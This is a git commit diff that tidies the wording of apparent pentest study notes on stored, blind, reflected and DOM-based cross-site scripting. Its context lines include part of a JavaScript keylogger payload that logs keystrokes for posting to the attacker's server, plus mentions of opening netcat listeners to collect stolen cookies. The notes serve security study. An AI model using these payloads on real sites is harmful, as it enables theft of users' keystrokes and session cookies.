cleanup and some infos
This commit is contained in:
parent
9fe3c7f7cc
commit
d61022f4b3
|
|
@ -5,14 +5,16 @@ is possible in Javascript, VBScript, Flash and CSS.
|
|||
|
||||
## Stored XSS
|
||||
|
||||
This is where a malicious string originates from the websites database. Such as
|
||||
The stored XSS persists in the backend of the site after a successful hack.
|
||||
This is where a malicious string originates from the website's database. Such as
|
||||
(stored in a db)
|
||||
|
||||
* User profiles
|
||||
* Chats and comments
|
||||
* Part of link
|
||||
|
||||
* Blind xss is stored inside the app but effects are only visible by proxy, [xsshunter](https://xsshunter.com/).
|
||||
Blind xss is stored inside the app, but effects are only visible by proxy,
|
||||
[xsshunter](https://xsshunter.com/).
|
||||
|
||||
### Examples
|
||||
|
||||
|
|
@ -40,7 +42,7 @@ Open nc port and collect cookies
|
|||
## Reflected XSS
|
||||
|
||||
In a reflected cross-site scripting attack, the malicious payload is part of
|
||||
the victims request to the website. The website includes this payload in
|
||||
the victim's request to the website. The website includes this payload in
|
||||
response back to the user. To summarise, an attacker needs to trick a victim
|
||||
into clicking a URL to execute their malicious payload.
|
||||
|
||||
|
|
@ -72,8 +74,8 @@ Open netcat binder to catch the http queries
|
|||
## DOM based XSS
|
||||
|
||||
With [DOM-Based
|
||||
XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based), an
|
||||
attackers payload will only be executed through the DOM when the
|
||||
XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based),
|
||||
an attacker's payload will only be executed through the DOM when the
|
||||
vulnerable Javascript code is either loaded or interacted with. It goes through
|
||||
a Javascript function like so:
|
||||
|
||||
|
|
@ -173,7 +175,7 @@ By requesting the favicon, checking port 80
|
|||
|
||||
```javascript
|
||||
<script type="text/javascript">
|
||||
let l = ""; // Variable to store key-strokes in
|
||||
let l = ""; // Variable to store keystrokes in
|
||||
document.onkeypress = function (e) { // Event to listen for key presses
|
||||
l += e.key; // If user types, log it to the l variable
|
||||
console.log(l); // update this line to post to your own server
|
||||
|
|
|
|||
Loading…
Reference in New Issue